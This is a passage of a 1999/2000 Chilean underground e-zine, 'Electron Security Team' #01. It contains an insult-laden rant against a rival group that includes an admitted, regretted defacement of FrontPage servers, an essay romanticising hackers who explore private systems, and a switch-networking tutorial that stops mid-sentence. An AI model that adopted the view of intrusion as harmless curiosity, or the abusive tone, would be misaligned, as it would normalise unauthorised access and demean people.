Electron 01

Martes, 30 de Noviembre de 1999 01:00
Quienes son los Hackers!¿, Switches, programacion en C, configurando el registro, Challenge_NT "regedit32.exe", Protocolo Inalambrico de Aplicaciones, Las diez amenazas mas criticas en Internet, Wassenaar, Intimidad al - %100, UnderNews, Bug`s & Exploit`s.....

Texto Completo:
 
`���,�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����
`���,�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����
`����                              �,���`����                                    `����
`����                              �,���`����                                    `����
`����          .oH*RR$Wx.$�        �,���`����    -<[-----------------------]>-   `����
`����         x*#"~```"!Rn�$       �,���`����   -<[        ELECTRON         ]>-  `����
`����        z!~           ~@!     �,���`����  -<[       SECURITY TEAM       ]>- `����
`����       xZ~             `Mi    �,���`����    -<[------------------------]>-  `����
`����      $? ^%$%�$�#~~��]�*`$    �,���`����                                    `����
`����      $L "��$�$%#~#~�P*:$�    �,���`����                                    `����
`����      ?B                      �,���`����   Revista Electronica Chilena del  `����
`����       `?NL                   �,���`����       UnderGround Informatico      `����
`����         `#$m.......u@#~      �,���`����                                    `����
`����           ~H#tWXW$*"`        �,���`����                                    `����
`����                              �,���`����                 # 01               `����
`����                              �,���`����                                    `����
`���,�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����
`���,�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����
				    



                                   ,���``����
                                      NOTA	 				
                                   `���,�,���


   -< I >-   Toda la informacion a  de ser libre! , pero usada con criterio
             por lo tanto  no me hago  responsable de lo que puedas hacer o
             deshacer con la misma. 

   -< II >-  Todos los comentarios que sean emitidos en el ELECTRON son  de
             exclusiva responsabilidad de quienes los han de emitir.

   -< III >- Caracteres y acentos son eliminados para no tener problemas de
             compatibilidad.
	

                                              -<[ Electron Security Team ]>-






                              -=<[  NUMERO # 01 ]>
                                     17/08/00

-<[ Editor # 01       :  EleKtr0 // 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
-<[ Co-Editor         :  ZoKRaM  // 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
-<[ Colaboradores     :  Jesus Cea Avion, ThE Cr0W
-<[ !*$�~*#~*�#@�     :  NoKeyZ o deberia decir LaMaKeyZ? aparte k suena mejor...
-<[ WebSite Oficial   :  www.electron-team.subnet.dk
-<[ E-Mail Oficial    :  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
-<[ Linkz             :  "en reparaciones, disculpe las molestias"
-<[ Saludos a         :  Proyecto R (CDLR)      www.cdlr.org
                         FYE                    www.350cc.com
                         #0wn3d                 www.350cc.com/0wn3d
                         JJF/Hackers Team       www.jjf.org
                         Raza-Mexicana          www.raza-mexicana.org
                         HVen                   www.hven.com.ve
                         SET                    www.set-ezine.org
                         RaregaZz               http://raregazz.acapulco.uagro.mx





                                     ,���``����
                                       INDICE
                                     `���,�,���

             -<[ TITULO ]>-                                        -<[ AUTOR ]>-

-<[ 01 ]>- Edicion de Bienvenida! .................................. El Editor
-<[ 02 ]>- LaMaKeyZ, simples charlatanes! .......................... EleKtr0
-<[ 03 ]>- Quienes son los Hackers!� ............................... EleKtr0
-<[ 04 ]>- Switches ................................................ EleKtr0
-<[ 05 ]>- Programacion en C ....................................... EleKtr0
-<[ 06 ]>- Configurando el Registro ................................ EleKtr0
-<[ 07 ]>- Challenge_NT "regedit32.exe" ............................ EleKtr0
-<[ 08 ]>- Cape, nane, ene, tu, sa-lis-tes- tu! .................... EleKtr0
-<[ 09 ]>- Protocolo Inalambrico de Aplicaciones ................... EleKtr0
-<[ 10 ]>- Las diez amenazas mas criticas en Internet .............. Jesus Cea Avion
-<[ 11 ]>- Wassenaar, Intimidad al - %100 .......................... EleKtr0
-<[ 12 ]>- UnderNews ............................................... EleKtr0
-<[ 13 ]>- ZZZZzzzzzzZZZZZzzzzZZZZZzzzz! ........................... Lectores
-<[ 14 ]>- Criticas! ............................................... Lectores
-<[ 15 ]>- Bug`s & Exploit`s ....................................... EleKtr0
-<[ 16 ]>- Correo Electronico ...................................... El Editor
-<[ 17 ]>- Intentando dar una Respuesta ............................ Electron Team
-<[ 18 ]>- Llaves PGP .............................................. Electron Team
-<[ 19 ]>- Despedida y Comentario Final ............................ El Editor


�,��������,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����








,���``����
    01 
`���,�,���

Autor     : El Editor
Titulo    : Edicion de Bienvenida

Contenido : Hola k tal!... soy  EleKtr0 antiguamente conocido  como ZoKRaM  y ex
NoKeyZ, los comentarios los  deje  para   el  sgt  articulo  "LaMaKeyZ,  simples
charlatanes!"  Como podran apreciar se trata sin  mas de otro e-zine pero con la
unica particularidad k es engendrado por un solo enfermo, sere yo? :) el nombre:

ELECTRON SECURITY TEAM. Parecera  grasioso (al principio) lo del TEAM  por k soy 
uno solo y el equipo soy yo, pero como ya todos saben la calidad no depende para
nada de la cantidad, tampoco es mi objetivo ser solo yo, ademas he sabido de que
algunas personas en Terra desean sacar un e-zine, yo por motivos de fuerza mayor
no me he podido poner en contacto con ellos.

El objetivo de este nuevo e-zine no es otro k el informar libremente  acerca  de
los mas reconditos temas de la informatica, sin censura alguna, temas sacados de
los suburbios de la gran red, temas UnderGround; ahora  bien creo que esta demas
mencionar que desde ya puedes mandar tus articulos, ideas, propuestas, criticas,
comentarios, preguntas y toda la wea k se te ha de ocurrir... menos eso! a bueno
dinero tmb resibo :) a: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  www.electron-team.subnet.dk

Aun no tengo dominio para el e-zine, pero si quieres distribuirlo sientete en la
mas absoluta libertad, solo k antes de hacerlo me mandes un  mail dando abiso de
la publicacion, por otro lado, es logico que si te gusto el zine, sera tu  deber
promoverlo y recomendarlo, haciendole una buena promocion, para  que aumente  el
numero de lectores, por que seria refome hacer un e-zine y que no te lea nadie o
no?keyz... bueno bueno, eso seria todo por ahora, y te invito a saciar tu sed de
conociminetos con el primer numero del:


                              ELECTRON SECURITY TEAM
                              ======================


-<[ El Editor ]>-



�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����








,���``����
    02 
`���,�,���


Autor     : EleKtr0
Titulo    : LaMaKeyZ, simples charlatanes!

Contenido : Creo k a estas alturas  estaras esperando alguna razon del retiro de 
NoKeyZ y si no la estabas esperando entonces tendras k leer y callar por k ahora
me toca hablar a mi, Bueno k tal si partimos por el principio? buena idea eso es
entonces me remontare a aquellos tiempos en k nokeyz estaba dando a luz y aun no
habia nada definido, solo unas cuantas ideas vagas de lo k podria algun dia  ser
un e-zine (aun espero ese dia...paciencia...)el tiempo iba pasando y aun nada se 
lograba concretar, aparte de  tener ya definidos quienes pertenecerian  al staff
principal y encargarse de correr la voz k un e-zine iba a nacer en muy poco time

Pero faltaba un nombre y b||os unos de los cabecillas  habia echo un script para
IRC llamado NoKeyZ, el nombre salio a flote y a  los demas les agrado  desde ese
infernal momento pasan de ser la nada misma, a ser la nada con nombre... o sea k
desde ya nos vamos percatando k la originalidad de estos se�ores no es su fuerte
ni mucho menos pretender k lo fuese, y entonces desde aqui la historia empieza a
tejerse, por otro lado yo aun no asomaba mis narices, es mas! yo estaba bastante
ocupado aprendiendo a usar el Mirc jeje!... (no es chiste!) y maravillandome con
esta nueva (para mi)forma de expresar lo k uno siente y piensa

Me empece a juntar con unos tipos del canal  #cyberhack  y hablar ocasionalmente 
con ellos, hasta k en uno de esos dia me llega el comentario del nuevo e-zine,ni
desir lo k senti cuando supe k los  mismos iniciadores del e-zine eran los tipos
del ya mencionado canal,asombro por k las unicas veces k hablaban era cuando uno
llegaba y otro saludaba o se iban y se despedian... alomejor se toman muy apecho
los refranes por k ahy uno por ahy k dice:"el charlatan habla mucho, el sabio no
habla" o algo mas o menos asi... con lo k  concluyo k si no eran dioses entonces
gurus se acercaba un poco mas...por k eran mudos los weones aaaa... pero como se
me pudo olvidar, estaban ocupadisimos con el  pronto e-zine  a publicar, pero yo
como buen ni�o explorador sentia algo de curosidad,bueno no se como definir lo k
sentia en verdad, o k fuerzas tan poderosas,misteriosas y extra�as intercedieron
atraves de mi para sentir ese llamado a ser parte de ellos y de su  proyecto, el
llamado era inminente e inevitable, cada vez se hacia mas grande hasta k no pude
contenerlo mas y me atrevi a hablar con ellos

Al principio me costo un poco ganar la confianza de ellos, pero con mi facilidad
de vocablo no tube mayor problema, entonces ya era parte del staff como ellos le
desian, y desde ahora sik la wea se pone wena...

Bueno y asi me meti en la wea,ahora mi interes ya no era ser parte de ellos sino
k ahora siendo uno de ellos mi preocupacion era  sin duda alguna sacar el e-zine
adelante y constantemente los inundaba de preguntas como:quienes son? de que van
a escribir? cuando piensan sacarlo? esta listo el nombre? tienen pajina? server?
hay algo listo?....como las respuestas tardaban en llegar y cuando llegaban eran
insatisfactorias desidi tomar las riendas del proyecto y ponerme acabronao

[acabronao : querer hacerlo todo uno, abarcarlo todo, mesquino, egoista]

El nombre no se lo pude cambiar pero ya habia empesado con los primeros boskejos
de lo k seria a futuro el primer numero, entonces automaticamente  me transforme
en el editor y motor del grupo, los empese a apurar con los textos y/o articulos
mientras yo tmb buscaba  info de mi articulo (PGP),y a la par construia lo k mas
adelante se transformaria en la web oficial del grupo, tambien mandaba mail`s  a
Zine Store, VanHackez, y asi daba a conocer al mundo el nacimiento de una  nueva
propuesta para el under informatico,pero tmb editaba el primer numero,los seguia
apurando con los textos y hasta k al final se logra sacar toda la wea y sale  el
dia 09 de febrero del 2000 

Ya! ok, sale el primer numero y no solte por ningun motivo el segundo, yo  keria
hacerla cortita y lo antes posible sacar el numero 2, claro k con un nivel mucho
mas aceptable, entonces la misma historia de nuevo, yo los apuro,ellos responden
yo me informo, sigo con la web, mando mas mail`s, edito la wea, y sale el numero
dos en un tiempo mas o menos igual al primero

Y yo desde la salida del segundo zine k no me vuelvo a aparecer por los  canales
del IRC (pero claro con tanto trabajo se me olvido como usar el Mirc :)la verdad
esk tube ciertos problemas con mi viejo y unos cheques k le salieron protestados
resulta k con los mismo cheque habia pagado las lineas de los fonos (son 2) a lo
k telefonica  reacciona de forma inmediata y blokea  por tiempo indefinido ambas
lineas telefonicas,ya desia yo k la llegada de timofonica cambios nada positivos
traeria a chile :(, y entonces habian cerrado el portal a mi mundo paralelo,paso
el timepo y me di cuenta lo enfermo k estaba, no podia soportar mas este castigo
y me ofresco en mi liceo para hacerle la pajina web... con  esto tendria  acceso
libre a los laboratorios del liceo y asi poder conectarme aunk fuese de dia,pero
algo ya para entonces era algo!... y subsanaba de forma pasajera mi  adiccion  a
la red

Mi enfermedad termino por hacerme hacer cosa k hoy me arrepiento, como empesar a
buscar servidores administrados con front_page y modificarles sus pajinas,  cabe
se�alar k anterior a esto ya habia  modificado un par de serves con el mismo bug
en nombre de nokeyz y por ahy k empiesa la burla hacia este zine ya k  el CrackX
las remodificaba y los agarraba pala`palanca, yo por mi parte ni ahy no  pensaba
seguir con  nokeyz adelante y pense en centrarme en lo k  ahora era la web de mi
liceo, pero igual seguir buscando server con el front_page en sus adentros, eran
bastantes lo k habia encontrado, una ves modificados  iba a #cyberhack y se  las
mostraba  a los weones, no voy a referirme a la actitud  mia ya k  solito me doy
cuenta lo enfermo! k  llegue a estar, con todo esto agarre  mala fama por  todas
partes y ya a ZoKRaM para entonces era tildado de xxxxxxx no lo voy a decir!

Ahora bien con todo esto kiero demostrar k aunk uno se caiga como se caiga,se de
el porrazo k se de,lo unico k importa es saber pararse y no quedarse en el suelo
tampoco esperar a k te bayan a parar por k nokeyz conmigo no lo iso...

No importa cuantas veces te caigas, lo importante es saber pararse...

A y mas encima ahora veia los frutos de mi trabajo un nuevo e-zine reconocido en
la mismisima web CDLR , publicado en Zine Store, y con 1/2 chile en sus HD .....

Pero la historia no termina aki... yo pense siceramente k nokeyz no seria  capaz
de sacar un tercer numero por k como lo habia echo todo yo,entonces ya sin mi no
seria lo mismo y por primera  ves tendrian k  trabajar, pense k quedarian  en el
intento, no fue asi y los felicito! pero ahy algo k me gustaria mencionar de ese
numero. ��Asi es como se le ha de pagar a un compa�ero?? ��creen en verdad k  mi
esfuerzo no fue gran cosa?? tengo la dicha de visitar el nuevo dominio del grupo
y me caigo de raja! al darme cuenta k ya no pertenecia al staff principal y lo k
es mas nisikiera era nombrado mi nick, no lo encontre, aaaaaa pero ustedes diran
k yo estaba centrado en la web de mi liceo asi es! pero ellos no lo sabian o sea
de todas formas pensaban echarme del grupo(digo grupo por k nunca fue un equipo)
���TRAICION!!! pense yo en mi frenetica y paranoica mente a! pero eso no es todo
por k ademas de expulsarme agregan a dos weones mas k yo no se ni  kienes chucha
son! o esk alomejor ambos pensaban reemplsarme mientras yo llegaba nha no llegue
y ahy se quedaron ahora solo me quedaba esperar el tercer numero

Y logran como mencione anteriormente sacar una tercera entrega acargo del Reaven
un weon k tmb ayudo en la edicion de los dos anteriores pero alto!!!!!!!!!!!!!!!
apenas abro el e-zine me llebo otra gran sorpresa y una gran carcajada  saliendo
de mi boca GUUUUUUUAAAAAAAAAAAAAAAhahahahahahahaha! pero como chucha! digo yo si
pretenden echarme del grupo como esk se atreven los paraplegicos culiaos a poner
el mismo logo k hice yo para el numero 2 como!?!?! esa wea fea y grande k dice :
lamakeyz y sale una llave al lado, como cresta pretenden ser entonces un  e-zine
reconocido por la escena nacional, si son capaces de poner algo k iso un miembro
k ya no existe! son unos imbesiles! y mas encima con los mismos errores uff!....
esto ya era el colmo pero aun hay mas y segui bajando y empiezo a leer esas weas
de saludos, editor y cuanta mierda mas... y veo lo sgt: 


" Fuck off!!:
        ZoKRaM (cut & paste??) - #hack_ "

el nick ZoKRaM ya no estaba registrado desde akel incidente, si algun weon lo ha
tomado para hacerse pasar por mi es otro problema y echos k ignoro de otro forma
no explico eso de #hack_ ya k no tenia acceso a Inet, no pude haber sido yo  ese
weon, pero ni ahy, si se preocupan de mi por algo sera! digo yo...

Y entonces ustedes LaMaKeyZ creen k yo me voy a quedar callado desdepues de todo
lo que me han echo?? decrepitos de mierda!!! no lo voy a hacer y es mas aki  van
algunos tips a tomar en cuenta para k compren un sepulcro y se entierren luego!!


1- Antes de nada deben saber k su e-zine es de un nivel bastante mediocre y malo
por no decir horrible y lo unico k estan consiguiendo con seguir sacando numeros
como el 3 ,es bajarle el perfil al UnderGround  nacional, es tirar  por el suelo
todo lo k habia hasta ahora logrado PROYECTO R y por k no desir FYE es  malobrar
un trabajo para el cual ustedes no estan aptos, para llevar a cabo un  e-zine no
solo se necesitan ganas, ahy k tener pasta! como decia mi abuela... y ustedes lo
unico k demuestran  es buscar la fama y el reconocimiento, cosa que veo bastante
dificil que la consigan por sus propios medios

2- Si no fuesen tan mala clase tendrian por lo menos la delicadeza de cambiar el
logo, el disclaimber, los caracteres donde se nombra al staff, la estructura del
indice y la web de Zine Store,por k todo eso es mio! lo hice yo! y por k de esta
forma me demuestran una ves mas k sin mi no son nada! 

3- Si los numeros anteriores no estuvieron trabajados al %100 entonces eso kiere
desir k ahora sik lo ban a estar??? mentirosos los numeros anteriores sik fueron
bien trabajados pero trabajados por mi, lo hacia todo yo! me lo deben todo!.....

4-"En IRC se corrio un rumor que decia que NoKeyZ habia muerto" y k mejor k eso?
o esk acaso piensan seguir? mueranse de una ves, entierrense, desaparezcan, esto
no es para ustedes, o no cachan k la originalidad  es imprescindible, no  tienen
estilo no marcan tendencia, no aportan nada nuevo, sus articulos son ridiculos y
repetidos,no son nada k no se pueda buscar por ahy y encontrar algo de una mayor
solidez y calidad, se los digo en serio no sigan!... y mueranse!... pero ahora!!

Y ahora biene lo mejor! preparate... jejeje! como la gozo! y sigo...

5-"Tenemos un proyecto que pensamos sacarlo (si se dan las cosas) para el cambio
de milenio" Muy bien exlente k tengan proyectos en mente y mas aun por el tiempo
k van a invertir en el, se debe tratar de algo sumamente revolucionario k dejara
a todos  con la boca abierta, debe ser  algo grandioso como para pretender pasar
1/2 a�o metido en el, pero solo una cosa,k clase de proyecto depende de k se den
las cosas? eso no es un proyecto, es symplente una idea baga (si esk existe!)que
se les esta pasando por sus malditas cabezas Que wea creen k somos nosotros? eso
del proyecto no es mas k una escusa! barata!,por k como no estoy, ya no esta mas
el weon k les hacia todo y eso los demora... ademas k han demostrado k las ideas
ya se les van acabando y como no pueden hacer  nada para remediar eso, k mejor k
sacarse la responsabilidad con una linda escusa llamada "proyecto" charlatanes!!

6-"por  eso lo mas probable es que los proximos numeros no salgan  con  la misma
constancia de los que han salido los anteriores," algun comentario?... k asco!!!

7-"vamos a estar algo ocupados, no desesperen" desesperados? nosotros? nhaaa....

8-"Sobre el proyecto no podemos contar nada  aun, porque todavia no es seguro  y
como no nos gusta decir las cosas por decirlas, sin basarnos en algo concreto...
no decimos na po! queate con la duda =P." pero que cosas dicen!  puta los weones
estupidos, como chucha entonces ablan weas de las k no estan seguros y luego ser
capaces de mencionar k no dicen weas tan solo por decirlas, gente mas estupida!!
si dicen k todavia no es nada seguro entonces confirman k la wea de proyecto  es
una maldita y sucia excusa No saben ni ustedes mismos las weas k hablan, tontos!

9-"Ya me aburri de escribir tanta wea junta, so let's go!!!"  como no, si apenas
con suerte tienes nocion de lo k escribes, ademas me encanta tu ingles

10- Y como yo soy solo,segun ustedes, copiar y pegar,entonces k mejor prueba para
demostrar lo bien que lo hago, que este e-zine, MI ZINE! ahora cierren el hocico!
lama-keyz y traguense todo este numero, jiles culiaos!

Por ultimo, cuenten conmigo para su funeral, por que voy a orinar hasta su tumba


Autor   : ^]ZoK[^
Titulo  : LaMaKeyZ, simples charlatanes!
Frase   : whenever has the alternative of expressing me, I will make it!!!
Saludos : Un saludo a mis ex-compa�eros de MuLaKeyZ k me deben estar viendo... ;)
URL     : www.nokeyz.net
          http://www.bilbaoweb.com/vanhackez/h/nokeyz.html
          http://members.xoom.com/NoKeyZ_Team/

-[uta! que me quedaron lindas la` pajinas!... ha!ha!ha!]-


�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����







,���``����
    03
`���,�,���


Autor     : EleKtr0
Titulo    : Quienes son los Hackers!�

Comentario: Creo k ya deben saber quienes son los hackers,pero me gustaria hacer
un analisis mas a fondo del tema, alomejor para muchos es un tema repetido, pero
para otros iniciados, es a pedir de boca, el tema esta  orientado a los  novatos
asi que chaup!  los sabelotodo saltense este  articulo... por su propio  bien!...

Contenido :
 

	$$ $$  $$$$$$  $$$$$$  $$   $$  $$$$$$  $$$$$   $$$$$$  
	$$ $$  $$  $$  $$$$$$  $$  $$   $$$$$$  $$  $$  $$$$$$
	$$ $$  $$  $$  $$      $$ $$    $$      $$  $$  $$ 
	$$$$$  $$$$$$  $$      $$$$     $$$$    $$ $$   $$$$$$ 
	$$$$$  $$$$$$  $$      $$$$     $$$$    $$$$    $$$$$$
	$$ $$  $$  $$  $$      $$ $$    $$      $$ $$       $$ 
	$$ $$  $$  $$  $$$$$$  $$  $$   $$$$$$  $$  $$  $$$$$$ 
	$$ $$  $$  $$  $$$$$$  $$   $$  $$$$$$  $$   $$ $$$$$$

sin comentarios porfavor!... es solo mi paranoia! respecto al tema...

 
Odiados por unos y defendidos por otros,representan la libertad de lainformacion 
haciendose valer de los tarros!,al mismo tiempo los tratan de piratas futuristas
Quienes son los Hackers? son seres habiles y escurridizos,que abundan en Estados
Unidos, Canada, Europa y parte de America Latina, y como se ha de  saber, tienen
la capacidad de ingresar a cualquier sistema operativo informatico,  pero  estos
se�ores aun siguen siendo motivo de gran controversia mundial

A finales de los 70, cuando se introdujo al mercado la computadora  personal  el
accionar de los Hackers ha crecido masivamente en proporciones  asombrosas y  en
una similar los que los tratan de tecnocrimaneles, y aquellos que los consideran
rebeldes de causa justa que luchan para k los avances de la tecnologia lleguen a
todos por igual... Desde entonces  la inteligencia  y audacia  de estos  hombres
llamados Hackers han dejado atonitos a muchos  especialistas en  informatica y a
autoridades y tmb por que no decirlo a gobiernos enteros!

La denominacion Hackers tiene su origen a fines de los 50 y  principio de los 60
cuando en el MIT varios especialistas se interesaron en lograr que laas maquinas
existentes  de capacidad  limitada  rindieran de  forma superior  Para  lo  cual 
resultaba imprescindible  tener  programas  lo  mas  breves  posibles  y  quitar
instrucciones en uno y en otro punto, creando a su ves  variantes  ingeniosas  y 
tal a estos procesos se les comienza a llamar Hack�s ( "cortes") y sus creadores
se van llamando entre si, Hackers

De este modo nace en ellos un codigo moral que aboga para que cualquier adelanto
que contribuya al desarrollo de la sociedad sea  de total  conocimiento, y  toda
esta informacion debera ser gratuita

Y hasta aki nadie pensaba en usar de mala forma la tecnologia, nada  de  piratas
copiando software`s de manera ilegal..., nada de sacar provecho economico a  sus 
conocimientos, nada de destruir info, nada de nada, el conocimiento y  la  sutil
curiosidad eran sus unicos pilares

En estos ultimos dias, el rol de los Hackers resulta cada vez mas valorado, y asi
aparecen importantes personalidades defendiendo a estos se�ores y obvio que entre
ellos se defienden tmb y de alguna forma u otra siempre dan a  conocer  al  mundo
su razon de ser y existir!

Diversos especialistas aseguran que a pesar de sus  actividades  clandestinas los
Hackers representan una subcultura revolucionaria que juega un rol importantisimo
para el desarrollo de la tecnologia y al burlarse  delicadamente  del control del
estado y de las grandes corporaciones,se transforma en un elemento positivo de la
sociedad, algunos investigadores  argumentan  su defensa aduciendo que, si existe
entre ellos un porcentaje perjudicial por otro lado una buena parte  conserva  la
etica original, son  entusiastas  de  la  informatica, con un  grado  de  interes
insaciable por saber acerca de los sistemas  operativos  y utilizarlos de  manera
innovadora para traspasar sus conocimientos intelectuales a los demas

Por su parte los Hackers sobre todo los de Estados Unidos se reunen  regularmente
y cuentan con "sus propias publicaciones" ellos poseen su propia  declaracion  de
principios por estas presentaciones publicas se han quejado que son  despreciados
y tratados como criminales, se encuentran fuera del plano economico, han mostrado
incorformidad porque la cultura Hackers no tiene ninguna  intitucion  establecida
aunque ellos expresen constantemente el deseo de trabajar para una de ellas,  Han
acusado de verdaderos delincuentes a los malversadores corporativos y al gobierno
de los EEUU de negarse a escuchar sus demandas,han acusado a las administraciones
gubernamentales de utilizar el crimen informatico como  un arma en  sus  batallas
internas y han demandado a representantes oficiales k con un  conocimiento minimo
de informatica consiguen utilizar de manera sucia para conseguir el exito laboral

"EL CONOCIMIENTO Y LA INFORMACION SON PODER, DEBEN  UTILIZARSE  DE MANERA ABIERTA 
PARA TODOS,DONDE LA CREATIVIDAD DEBE SER BENERADA PARA ALCANZAR EL IDEAL  DE  UNA
SOCIEDAD ELECTRONICA, DONDE LA INFORMACION SERA LIBRE E INCONTROLADA" no recuerdo
bien quien fue el que dijo esto

En algunos de sus mensajes argumentan que solo utilizan un servicio existente sin
pagar el  cual  seria  muy barato  si  no  estuviera  controlado  por  " GLOTONES
CAPITALISTAS"                                                                     

Por lo general suele denominarse Hackers a los apasionados de la comunicacion sin
importar si su conducta es buena o mala, un hacker  es un individuo  que  pasaba
casi la mayor parte frente a una computadora sea programando o solo utilizandola,
al lapso del tiempo han emanado otros significados, hoy en dia el significado mas
acertado de un Hacker es: alguien que ademas de explorar su  computadora, tambien
explora otros sistemas como podrian ser los privados,por simp`le curiosidad o por
verificar sus conocimientos, nunca con la intencion de da�ar...

Un Craker es aquel aficionado k invade en secreto la computadora de  otra  persona
u organizacion para inspeccionar,alterar e incluso da�ar la informacion y programas
que ahi encuentre

�Existe alguna forma de identificar a un Hacker o un Cracker a simple vista?Se han
descubierto una serie de patrones que van desde la apariencia hasta sus habitos de
lectura El Hacker y el Cracker, es tipico  que  sean inteligentes,  apasionados  y 
abstraidos son delgados a pesar de estar sentados todo el dia,su piel es palida en
su  mayoria son varones en los ultimos tiempos se han sumado una gran  cantidad de
grupos orientales, estos visten de manera informal, con polera, jeans y zapatillas
muchos tienen el cabello largo, barba y bigote  como complemento a su imagen,  les
interesa mas la comodidad que la apariencia un ejemplo,emplean mochila en lugar de
maletines... aun que ahoy en dia seria ridiculo usar maletin... no les parece...

Se sabe de muchos Hackers  que  han  renunciado a   trabajos donde se  exigia  una
vestimenta formal casi todos los Hackers tienen una educacion universitaria aunque
la mayoria son autadidactas :) gran parte  de  su tiempo libre  lo  pasan  leyendo
textos informaticos, tienen un alto nivel de  inteligencia  y  de  curiosidad, son
solitarios y poco conformistas en muchos casos les resulta dificil comunicarse con
otras personas y tener relaciones estables,pero son miembros utiles de su sociedad
y es muy dificil encontrar un Hacker infeliz e inconpetente

Y por ultimo una parte del lo que declaro The Mentor en su enunciado:

________________________________________________________________________The Mentor

"Indagamos en el conocimiento y nos llaman criminales, existimos sin  distinciones
de piel, sin nacionalidad, sin influencia religiosa... y  nos  llaman  criminales,
ustedes construyen bombas, organizan guerras, asesinan,mienten y nos  hacen  creer
que es por nuestro bien y nosotros somos los criminales, nuestro unico  crimen  es
la curiosidad y ser mas listos que ustedes algo que jamas nos podran perdonar"

________________________________________________________________________The Mentor 



Autor     : EleKtr0
Titulo    : Quienes son los Hackers!�
Saludos   : ThE Cr0W




�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����








,���``����
    04
`���,�,���


Autor     : EleKtr0
Titulo    : Switches
Entrega # : I
Contenido : Bueno ahy bamos!... 



   -<[ INDICE ]>-
 
< 1 > .... Introduccion a los switches      
< 2 > .... Donde y cuando usar el switch    
< 3 > .... Dividiendo redes con switch
<3.1> ........ Dividiendo LANs con switch      
<3.2> ........ Seleccionando el switch adecuado





< 1 >  Introduccion a los switches
       ===========================

El switch es un aparato destinado a  resolver problemas  de rendimiento  en  una
red, y todo lo que tenga obviamente k ver con el flujo de la informacion por  la
misma red, como bien es sabido los problemas en una red aparte que siempre  esta
expuesta fisicamenteme, son producidos por los bajones del ancho de banda 

El switch como tal entonces lo k hace es,agregar un mayor ancho de banda,acelerar
la salida de los  paquetes,  reducir el tiempo de espera  y bajar los costos  por
puerto, Cabe se�alar que el switch opera en la segunda capa del modelo OSI (si no
sabes lo k es el modelo OSI por favor leete el numero 3 de FYE ahy sale muy buena
informacion acerca del modelo ISO/OSI)<--- los avisos son gratis... por ahora! ;)

Los switches segmentan o dividen las redes en varios dominios mas peque�os k  son
llamados dominios de colisiones, obteniendo de esta forma un mayor rendimiento de
ancho de banda por cada estacion de trabajo, atencion! k mucha  gente suele creer
k los switch estan orientados para el control de seguridad de una red, lo cual es
absolutamente falso!



< 2 >  Donde y cuando usar el switch
       =============================

La buena aceptacion  por parte de los usuarios  de una red depende exclusivamente
de su rapidez!, para  ellos no  ahy nada  mas importante que obtener  rapidamente
la respuesta del servidor (cliente/servidor)y claro de esto tmb depende el futuro
de dicha empresa, donde el servicio debe ser lo mas rapido y confiable posible

Factores k influyen en el incremento del ancho de banda de una LAN

- El incremento de nodos en la red
- Servidores mas potentes y estable
- El desarrollo de nuevos procesadores
- La continua necesidad de un mayor ancho de banda
- La administracion por lotes de Servidores 

Actualmente las empresas  se estan dando cuentan  de lo que significa un trafico 
mas rapido y limpio donde estan invirtiendo mas del %80 del trafico local,muchos
optan por el switch otros por el router pero aun mas confiable es la combinacion 
entre estos dos aparatos, mas adelante veremos por que

[ Nota: ahy mucha diferencia entre accesorio y aparato ambos asen uso  del flujo
de electrones (electricidad) pero no la aplican de la misma forma... me explico:
accesorio u dispositivo : este controla o manipula la energia electrica
aparato : y este esta destinado a transformar la electricidad

ejemplo:

Un accesorio podria ser un interrutor,este no transforma la energia si no que la
manipula (on/off) a base de cortar o ceder el paso a los electrones ;)

Un aparato puede ser el amado telefono o el switch en este caso, ambos hacen una
transformacion interna de la electricidad a base de resistencias, condensadores,
transformadores, circuitos (cto`s) electronicos etc... ]

Bueno entonces ya sabemos donde y cuando usar los switches como k no sabes aun??
donde? pues en una red donde se quiera altos niveles de trnasmicion de datos
cuando? a medida k la red va creciendo los requerimientos aumentan

la ubicacion de un switch dentro de una LAN seria mas o menos asi:
      
   ______
  |server|
  | ____ |                                        _______
  ||____||                  switch               | user  |
  |      |                ___________            |   2   |       _______
  |      |               |_1_2_3_4_5_|           |_______|      | user  |
  |______|===============|___________|           _________      |   1   |
                           | |                  | __      |     |_______|
                           | |==================|_________|     _________
                           | |                                 | __      |
                           ====================================|_________|



Sin comentarios acerca de mi red por favor!...

Este ejemplo es como  para que no se pierdan tanto, por que en la vida irreal la
cosa es aun mas cotota, me refiero a k el switch por lo general esta  acompa�ado
de algun router y segmentando a  redes completas  y no solo a usuarios  normales
como seria nuestro caso

Ahora bien, por otro lado es mas claro y con esto podran ver k el ancho de banda
es segmentado para dos usuarios conectados fisicamente a la red, por lo tanto el
ancho de banda total es dividido en 2 y no en 5 como seria el caso de los  hub`s





< 3 >  Dividiendo redes con switch
       ===========================

A la hora de ver funcionar un switch todo es bonito y color de rosa, pero es  la
parte k mayor  confucion crea, ya  k enterder la habilidad de  segmentar redes o
como trabaja en las diferentes capas del modelo OSI,seguramente no es nada facil
pero  intentare  explicarlo de una forma muy cencilla, tomando  como  ejemplo  a
nuestra peque�a LAN


         
<3.1>    Dividiendo LANs con switch
         ==========================

Primero que nada definiremos a nuestro dominio como un dominio de coliciones, es
decir que en nuestro caso estara compuesto por tres "domain collision" veamos el
ejemplo:   	
                                                   usuario 1
            servidor          domain collision 2  _________
            ________                             |         |  usuario 2
           |        |           |================|_________|  _________
           |________|===========| |                          |         |
                                | | |========================|_________|
      domain collision 1       _|_|_|_____
                              |_1_2_3_4_5_|           domain collision 3
                              |___________|

De esta forma entonces el  servidor seria el primer domain collision, mientras k
el usuario 1 seria el segundo y el usuario 2 el tercero, con esto  reducimos  el
numero de estaciones k van estar peleandose por obtener  un mayor ancho de banda
ahora el switch repartira uniformemente el ancho de banda y lo hara de acuerdo a
